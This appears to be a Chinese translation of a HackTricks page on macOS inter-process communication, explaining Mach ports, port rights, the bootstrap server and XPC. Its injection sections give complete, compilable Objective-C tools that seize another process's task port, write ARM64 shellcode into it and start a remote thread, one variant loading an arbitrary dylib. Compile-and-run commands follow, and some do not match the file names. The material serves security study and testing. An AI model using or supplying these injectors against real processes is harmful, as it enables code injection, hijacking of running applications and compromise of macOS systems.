832 lines
30 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# macOS IPC - 进程间通信
{{#include ../../../../banners/hacktricks-training.md}}
## Mach 消息通过端口
### 基本信息
Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可以包含 **多个线程**。这些 **任务和线程与 POSIX 进程和线程 1:1 映射**
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。**消息在端口之间传输**,端口像是由内核管理的 **消息队列**
每个进程都有一个 **IPC 表**,可以在其中找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
一个进程还可以将一个端口名称和一些权限 **发送给不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。
### 端口权限
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- **接收权限**允许接收发送到端口的消息。Mach 端口是 MPSC多个生产者单个消费者队列这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
- 拥有 **接收权限****任务** 可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**
- **发送权限**,允许向端口发送消息。
- 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆该权限并 **授予给第三个任务**
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
- **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`
- **死名称**,这不是一个实际的端口权限,而仅仅是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限变成死名称。
**任务可以将发送权限转移给其他任务**,使其能够发送消息。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,使任务之间的有效通信成为可能。
### 文件端口
文件端口允许在 Mac 端口中封装文件描述符(使用 Mach 端口权限)。可以使用 `fileport_makeport` 从给定的 FD 创建一个 `fileport`,并使用 `fileport_makefd` 从 fileport 创建一个 FD。
### 建立通信
#### 步骤:
如前所述,为了建立通信通道,**引导服务器**(在 mac 中为 **launchd**)参与其中。
1. 任务 **A** 发起一个 **新端口**,在此过程中获得 **接收权限**
2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。
3. 任务 **A****引导服务器** 建立 **连接**,提供 **端口的服务名称****发送权限**,通过称为引导注册的过程。
4. 任务 **B****引导服务器** 交互以执行服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**
5. 在获得发送权限后,任务 **B** 能够 **构造** 一条 **消息** 并将其 **发送给任务 A**
6. 对于双向通信,通常任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便其可以向任务 B 发送消息(双向通信)。
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称**,然后批准每个请求。
然后Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons``/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有 **接收权限**
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时launchd 动态启动该服务。新的工作流程如下:
- 任务 **B** 发起对服务名称的引导 **查找**
- **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
- 任务 **A**(服务)执行 **引导检查**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**
- launchd 复制 **发送权限并将其发送给任务 B**
- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(服务),以便其可以向任务 B 发送消息(双向通信)。
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初描述的方式操作,这可能会允许冒充。
### 一个 Mach 消息
[在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面是实际的消息内容。该结构定义如下:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
拥有 _**接收权**_ 的进程可以在 Mach 端口上接收消息。相反,**发送者** 被授予 _**发送**__**一次性发送权**_。一次性发送权仅用于发送单个消息,之后它将失效。
为了实现简单的 **双向通信**,进程可以在名为 _reply port_ (**`msgh_local_port`**) 的 mach **消息头**中指定一个 **mach 端口**,接收该消息的 **接收者** 可以 **回复** 此消息。**`msgh_bits`** 中的位标志可以用来 **指示** 应该为此端口派生并转移一个 **一次性发送** **权**`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
> [!TIP]
> 请注意,这种双向通信用于期望回复的 XPC 消息(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但 **通常会创建不同的端口**,如前所述,以创建双向通信。
消息头的其他字段包括:
- `msgh_size`: 整个数据包的大小。
- `msgh_remote_port`: 发送此消息的端口。
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)。
- `msgh_id`: 此消息的 ID由接收者解释。
> [!CAUTION]
> 请注意 **mach 消息是通过 \_mach port\_ 发送的**,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 的通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
### 枚举端口
```bash
lsmp -p <pid>
```
您可以通过从 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) 下载此工具来安装它在 iOS 上。
### 代码示例
注意 **发送者** 如何 **分配** 一个端口,为名称 `org.darlinghq.example` 创建一个 **发送权限** 并将其发送到 **引导服务器**,同时发送者请求该名称的 **发送权限** 并使用它来 **发送消息**
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### 特权端口
- **主机端口**:如果一个进程对这个端口具有 **发送** 权限,他可以获取 **系统****信息**(例如 `host_processor_info`)。
- **主机特权端口**:一个对这个端口具有 **发送** 权限的进程可以执行 **特权操作**,如加载内核扩展。**进程需要是 root** 才能获得此权限。
- 此外,为了调用 **`kext_request`** API需要拥有其他权利 **`com.apple.private.kext*`**,这些权利仅授予 Apple 的二进制文件。
- **任务名称端口**_任务端口_ 的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`
- **任务端口**(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。
- 调用 `mach_task_self()`**获取** 调用任务的端口名称。此端口仅在 **`exec()`** 之间 **继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中 `exec()` 后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
- 访问端口的限制(来自二进制文件 `AppleMobileFileIntegrity``macos_task_policy`
- 如果应用具有 **`com.apple.security.get-task-allow` 权限**,来自 **同一用户** 的进程可以访问任务端口(通常由 Xcode 为调试添加)。**公证** 过程不允许其用于生产版本。
- 具有 **`com.apple.system-task-ports`** 权限的应用可以获取 **任何** 进程的 **任务端口**,除了内核。在旧版本中称为 **`task_for_pid-allow`**。这仅授予 Apple 应用。
- **Root 可以访问未** 使用 **加固** 运行时编译的应用程序的任务端口(且不是来自 Apple
### 通过任务端口在线程中注入 Shellcode
您可以从以下位置获取 shellcode
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果没有,您将需要使用**sudo**)。
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### 通过任务端口在线程中注入Dylib
在macOS中**线程**可以通过**Mach**或使用**posix `pthread` api**进行操作。我们在之前的注入中生成的线程是使用Mach api生成的因此**它不符合posix标准**。
能够**注入一个简单的shellcode**来执行命令是因为它**不需要与posix**兼容的api只需与Mach兼容。**更复杂的注入**将需要**线程**也**符合posix标准**。
因此,为了**改进线程**,它应该调用**`pthread_create_from_mach_thread`**,这将**创建一个有效的pthread**。然后这个新的pthread可以**调用dlopen**来**从系统加载一个dylib**因此不必编写新的shellcode来执行不同的操作而是可以加载自定义库。
您可以在以下位置找到**示例dylibs**(例如,生成日志的那个,然后您可以监听它):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### 通过任务端口的线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
在此技术中,进程的一个线程被劫持:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### 基本信息
XPC即 XNUmacOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的、异步的方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制被攻陷进程可能造成的损害。
有关此 **通信如何工作** 以及 **可能存在的漏洞** 的更多信息,请查看:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach 接口生成器
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。
有关更多信息,请查看:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## 参考文献
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}